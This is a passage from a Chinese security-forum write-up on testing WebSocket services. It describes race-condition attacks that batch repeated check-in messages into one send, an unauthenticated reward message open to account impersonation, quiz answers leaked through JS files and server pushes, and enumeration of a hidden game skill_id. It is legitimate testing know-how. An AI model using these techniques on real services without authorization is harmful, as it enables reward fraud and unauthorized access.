像这种情况之前我是用`k6`写脚本测的,但是每次一更换操作实在麻烦,所以在写这个辅助工具的时候也考虑到并发的功能
![7.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/06/attach-39a400191b5b8bb575215edeb54e8f5fd8cce906.png)
2. **单会话唯一**
实际上在我遇到的大部分WS通信的服务中,都是这种情况,当一个连接鉴权后,如果此时再来一个ws连接也登录相同账号,那么原来的就被会挤掉,但是这并不代表这个方式就不会存在并发
在实战中遇到过一个虽然也是单会话唯一,但是也利用成了,如下图
![8.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/06/attach-2ad3ed96a0fbace4912fc833176f17a46e554923.png)
这个就有意思当时还是利用Burp里面的插件成功了的,用的是下面这个插件,这个插件其实使用起来场景很受限,首先它默认仅会发两个包,一个是右上边建立ws连接的http请求,另一个就是左上角的ws消息了,所以遇到`连接后发鉴权消息`这种类型的那就完全没用,而且如果你想自定义还是得修改脚本确实也不是很方便,但是上图中为什么还成功了,因为它除了并发还有个大问题那就是`领取每日金币`的这个消息并没有鉴权,仅仅是利用消息体里面的`用户id加密值`来进行指定账号的(所以这个消息存在两个漏洞1越权,2并发)
![9.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/06/attach-f5abb26e7487146bf885637be1f44d9ce5b6f045.png)
说完了上面那个特例,其实面对**单会话唯一**这种情况的`并发利用手法`还可以通过建立一个连接然后多次发一个消息来测试,例如下图配置中,先建立ws连接,然后发送鉴权的ws消息,最后工具在同一 WebSocket 连接上,将 10 个签到消息预先封装并拼接,通过单次 socket 发送一并送出,使其尽量落在同一 TCP 段内、几乎同时到达服务端,以此构造并发。
![10.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/06/attach-dbf87e4172d4ccc8fe95d406fa49b35e052536a5.png)
* * *
## 043 信息泄露相关
相较于权限与并发问题,信息泄露类问题在 WebSocket 场景中表现形式相对较弱,但仍存在一定的协议特性相关风险,不过我这里还是举两个例子吧
### 0431 js造成的泄露
乍一看js造成的泄露,what?,跟ws有毛线的关系,但是正如我文章开头特意强调的,如果你仔细看了,如果你遇到一个app里面H5页面,采用的ws传输,那么此时你会干嘛?没错去找那个zip包,找到那个zip包里面就包含这个服务的相关前端文件了,也就包含js了,所以其实也有点关系
例如下面这个漏洞,这是个答题相关的活动,使用ws通信,然后在我找到zip包并且翻阅了前端js后直接发现了活动所有题库
![11.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/06/attach-c4734b3f783e2b87010f5412a4061407db9e65dd.png)
### 0432 S\_C消息泄露敏感信息
由于 WebSocket 是双向通信,在实际测试过程中,通常可以利用 Burp 的筛选功能去掉服务端推送的数据帧(S→C)。因为服务端推送消息更多体现为数据展示与业务结果返回,在常规漏洞挖掘中安全价值相对有限,主要可用于辅助排查是否存在敏感信息泄露问题。
如下图所示,当游戏开始的时候服务器直接就返回了全部问题的答案
![12.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/06/attach-a82c17cb0af43e962e6fee04388db2284df89a86.png)
* * *
### 044 其它逻辑漏洞
其实我都不想写来着,因为上面那些相关安全问题针对WS服务还是有差异可以拿出来说说的,然后在实战过程中遇到的其它逻辑漏洞其实都跟HTTP服务差不多了,不过毕竟都写了这个文章所以干脆下文提一个还算跟ws沾边的业务逻辑漏洞吧
**隐藏技能攻击**
其实这个漏洞也是源于JS的发现,还是我《[利用AI一键开启proto全自动明文时代](https://forum.butian.net/ai_security/90)》这个文章里提到的手法,AI帮忙分析出来的WS消息文档里面存在服务/游戏所有ws消息体和介绍,通过抓包发现这个小游戏的攻击的消息体如下所示
```json
{
"msgid": 62280,
"action": 1
}
```
这个小游戏是新出的,初版逻辑也很简单,游戏中对应的动作就三个,弓箭攻击相比于普通攻击伤害更高而且100%成功,而普通攻击伤害相对低一些而且存在一定被闪避几率,然后防御反击可以防御弓箭攻击并做出反击攻击
![13.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/06/attach-40bcf1128853f5337e70756693802631819d7af8.png)
然后在AI分析出的文档中针对这个消息,还存在一个参数`skill_id`,于是我直接拼接并遍历`skill_id`发现确实存在一些隐藏技能,效果如下,这个漏洞不亚于在冷兵器作战时代让你扛着一个加特林出现了
![14.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/06/attach-6a228eb7ef8276dbc7da04d33cba67b48ab3086b.png)
* * *
## 05 预告
本文算是我写的关于WS相关的第二篇文章了,后续我的想法就是进一步让AI全自动进行这种WS的漏洞挖掘,不过时间可能会久一点,因为当前还在做另一个事情,那就是`AI代码审计平台`,做了很久了目前初版已经开始测试了(不过是面向公司内部的),看到这个可能很多师傅有点反感了,确实自从AI热潮来临后,AI代码审计、AI全自动渗透测试各个项目像雨后春笋一样,我实际也用过测试过很多,但是说实话结果都差强人意,甚至说不好听的,有的纯是AI写点思路然后写点代码其余的全靠吹了,不过好的项目也是有的只不过可能都是自己私下用呢。
现在AI的发展中,有个特点那就是想法有,难落地,就算落地效果可能跟预期差了十万八千里,就比如我实际测试过得一些项目,我这个AI代码审计平台着实做了很长时间,而且我是边落地边设计的,也就是说是完全对照着数据确保质量的提升而不断完善的,不过这个AI代码审计平台并不通用,目前仅针对适配我们公司的代码风格以及架构进行不断优化,可能更加适合面向与企业使用,同时已经自动接入到了CI阶段,不过现在还存在一些问题和bug,等到逐步稳定,也会把思路拿出来讲讲